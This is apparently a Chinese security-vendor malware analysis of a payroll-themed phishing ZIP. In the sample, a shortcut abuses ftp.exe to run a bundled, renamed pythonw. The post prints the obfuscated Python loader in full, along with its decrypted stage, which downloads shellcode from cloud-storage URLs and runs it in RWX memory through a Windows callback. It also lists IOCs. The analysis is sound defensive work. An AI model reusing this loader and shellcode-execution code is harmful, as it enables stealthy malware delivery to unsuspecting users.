【天穹】HVV专题:暗藏玄机-揭秘Python在压缩包中的隐蔽攻击手法

一、概述

在HVV行动中,红队的黑客们总是能想出不少脑洞大开的攻击套路。本次,我们将介绍近期发现的一种新型压缩包攻击手法,攻击者将完整的Python可执行程序封装于压缩包内,通过快捷方式调用pythonw.exe后台执行恶意.pyw文件,再打开一个文档文件掩盖后台的恶意行为。目前,天穹沙箱已经发现数个使用此攻击方式的钓鱼样本,在此前的HVV专题中也简要地提到过这种攻击方法。考虑到这种钓鱼套路很容易诱使用户中招,因此我们结合天穹沙箱强大的压缩包分析功能,对此类攻击方式进行了更为深入细致地剖析。

二、样本基本信息

  • 样本名:2024年7月份工资单.zip
  • SHA1: b763b7cc4f5a8912b51be69f8140459cfcabe360
  • 文件类型:ZIP
  • 文件大小:7.18 MB
  • 报告链接:天穹沙箱分析报告

三、样本分析

1. 压缩包解压

天穹沙箱支持压缩包智能化解压,能够自动尝试解压包含密码的压缩包样本,如果样本密码设置复杂,沙箱将提示用户解压需要密码,用户可将鼠标移动到解压需要密码提示处,如图1所示,在弹出的悬浮框内输入密码,点击重新分析即可,沙箱将使用输入的密码重新分析样本。

图1 输入解压密码

2. 压缩包分析

解压恶意压缩包文件是一项极具风险的行为,天穹沙箱支持静态分析压缩包,可全面分析压缩包内潜在风险项。根据沙箱分析结果,报告的压缩包检测部分标注出该压缩包样本存在多个风险内容:快捷方式命令执行文件名欺骗快捷方式图标修改利用MacOS目录隐藏高风险文件,行为描述列解释了威胁归类依据,如图2所示。

图2 压缩包检测

报告的解压过程信息部分展示了该样本的目录结构信息,如图3所示。向下滑动表格可以看到,天穹沙箱对该样本内嵌的子压缩包文件python37.zip也做了解压处理。

图3 解压过程信息

下面以目录结构树的形式列出该样本的部分文件内容。经由沙箱分析人员检验,压缩包内的__MACOSX目录的确为MacOS系统产生的中间文件,没有隐藏恶意内容。而2024年7月份工资单目录下包含的lnk文件和__init__子目录,掩藏着攻击者要实施的恶意行为,若用户不慎点击2024年7月份工资单.lnk,就会立即启动木马程序。

├─2024年7月份工资单
│  │  2024年7月份工资单.lnk
│  │
│  └─__init__
│      │  11.docx
│      │  action.py
│      │  conhost.exe
│      │  main.py
│      │  main.pyw
│      │  python.exe
│      │  python3.dll
│      │  python37.dll
│      │  __pycache__
│      └─...
└─__MACOSX
    │  ._2024年7月份工资单
    │
    └─2024年7月份工资单
        │  ._2024年7月份工资单.lnk
        │  .___init__
        │
        └─__init__
                ._11.docx
                ._action.py
                ._conhost.exe
                ._main.py
                ._main.pyw
                ._python.exe
                ._python3.dll
                ._python37.dll
                .___pycache__
				...

那么,攻击者到底是如何执行恶意操作的呢?我们根据天穹沙箱的压缩包样本智选分析结果,查看子样本2024年7月份工资单/2024年7月份工资单.lnk的分析报告,如图4所示,跟随报告内容逐步揭秘该样本的攻击手法。

图4 2024年7月份工资单.lnk动态分析报告

3. 快捷方式分析

要理解该样本的攻击原理,首先要知道快捷方式到底做了什么。在报告的快捷方式文件信息部分列举了沙箱提取到的样本文件信息,DATA字段揭示了快捷方式的真面目:调用ftp执行shell命令。如图5所示。

图5 快捷信息命令行

样本通过多次返回上级目录../的操作定位到C:\,进而获取到ftp的绝对路径C:\Windows\System32\ftp.exe,拼接上命令行参数后的实际行为如下:

C:\Windows\System32\ftp.exe -""s:__init__\libvcc.dll

由此可见,该快捷方式利用了ftp命令执行脚本文件,-s参数表示执行脚本文件__init__\libvcc.dll,显然libvcc.dll并非一个真实DLL文件,其内容如下:

!start /b __init__\conhost.exe __init__\main.pyw
!start /b __init__\11.docx
bye

!表示转义到shell,因此最终样本会创建进程__init__\conhost.exe __init__\main.pyw,并使用默认程序打开文件__init__\11.docx

main.pyw是一个python脚本文件,内容如下,那conhost.exe真的就是conhost.exe吗?

import action

通过查看conhost.exe详细信息,发现其原始文件名为pythonw.exe,如图6所示,所以样本实际是调用pythonw执行了pyw文件:

图6 conhost.exe详细信息

action.py的内容如下,主要为样本从https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA下载payload数据并解密执行。

import ast 
import pickle 
import ctypes ,urllib .request ,codecs ,base64 
import sys ,ssl 
ssl ._create_default_https_context =ssl ._create_unverified_context 
OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA').read ()
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
    return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
    O0O0OO0O0OO0O00OO =""
    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
    return O0000O0O0OOO000O0 .decode ()
OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
class A (object ):
    def __reduce__ (OOOOOOOOO000000OO ):
        return (exec ,(OO00O0OO00OO00OO0 ,))
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
    try :
        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
    except Exception as OO0OOO00000OO00O0 :
        exit ()
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )

解密后的内容是另一段Python代码,样本会通过exec接口执行这段代码,其内容如下所示。该代码会从另一个阿里云地址https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr下载加密后的Shellcode,解密后利用回调函数EnumDateFormatsA执行Shellcode。

import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr').read()
encrypted_data = encrypted_data.strip()


while 1:
    try:
        #64
        key = b'flIZpfxbSpiZzRXib'
        decoded_data = base64.b64decode(encrypted_data)
        sc = OO0000OO00O00OOOO(decoded_data, key)
        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))

    except Error as e:
        print(e)

解密后的Shellcode内容如图7所示:

图7 解密后的Shellcode

沙箱的网络流量监控记录了Shellcode的联网行为,该Shellcode执行后首先从http[:]//secure.globalsign.com/cacert/gsrsaovsslca2018.crt下载了一份CA证书,如图8所示:

图8 下载CA证书

随后利用Host伪装技术,从211.90.133.16136.25.245.80进一步下载Payload,如图9所示。由于这两个地址都已死亡,无法继续分析样本的后续行为。

图9 Host伪装

4. 同源分析

在之前的HVV报告(【天穹】HVV专题:典型HVV样本总结与IOC收集(第一期))的典型样本分析部分,例举了一个名为化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip的压缩包样本,这个样本的攻击方式与上述分析的样本几乎完全一致,包括利用快捷方式执行ftp命令,利用pythonw.exe执行main.pyw,甚至包括action.py的加密算法都完全相同,并且这个样本执行Shellcode在访问C2地址时也使用了Host伪装技术。稍有区别的是,这个样本未对Python脚本进行混淆,也没有修改pythonw.exe的文件名,由此推测2024年7月份工资单.zip是该样本的升级版。

对比IOC发现,两者在Python脚本中下载Payload使用的域名同为阿里云存储:

  • 化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip
https[:]//alifeiyun.oss-cn-beijing.aliyuncs.com/aliyunServerData           【阿里云存储】
  • 2024年7月份工资单.zip
https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA                 【阿里云存储】
https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr              【阿里云存储】

Host伪装使用的IP地址均归属于浙江电信

  • 化学物质环境风险评估与管控技术标准体系框架生态毒理学行业标准意见建议.zip
https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.6                【[中国]江苏省/徐州市/中国电信】
https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.7                【[中国]江苏省/徐州市/中国电信】
https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.8                【[中国]江苏省/徐州市/中国电信】
https[:]//180.97.247.210/q5f3wyV/home/pagedata/pageserver.9                【[中国]江苏省/徐州市/中国电信】
  • 2024年7月份工资单.zip
https[:]//36.25.245.80/bdstatic/static/superman/img/topnav/newbaike.png    【[中国]浙江省/湖州市/中国电信】
https[:]//211.90.133.161/bdstatic/static/superman/img/topnav/newbaike.png  【[中国]福建省/福州市/中国电信】

据此可以推断,两个样本很大概率为同一攻击者制作。

四、IOC

恶意文件(SHA1)
B763B7CC4F5A8912B51BE69F8140459CFCABE360                                   2024年7月份工资单.zip
655001CBC610D41B807C4F69B15938763ED46F65                                   main.pyw
76889C6FA2EDC44E272F534CE36F7D23C0AACA6C                                   action.py

恶意链接
https[:]//s0e13iyxdsdic.oss-cn-heyuan.aliyuncs.com/SSJn3qA                 Python下载链接1
https[:]//m1pgwd1e3e8.oss-cn-hangzhou.aliyuncs.com/wHhkABfjGr              Python下载链接2
https[:]//36.25.245.80/bdstatic/static/superman/img/topnav/newbaike.png    Payload下载链接1
https[:]//211.90.133.161/bdstatic/static/superman/img/topnav/newbaike.png  Payload下载链接2

报告链接:天穹沙箱分析报告

五、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。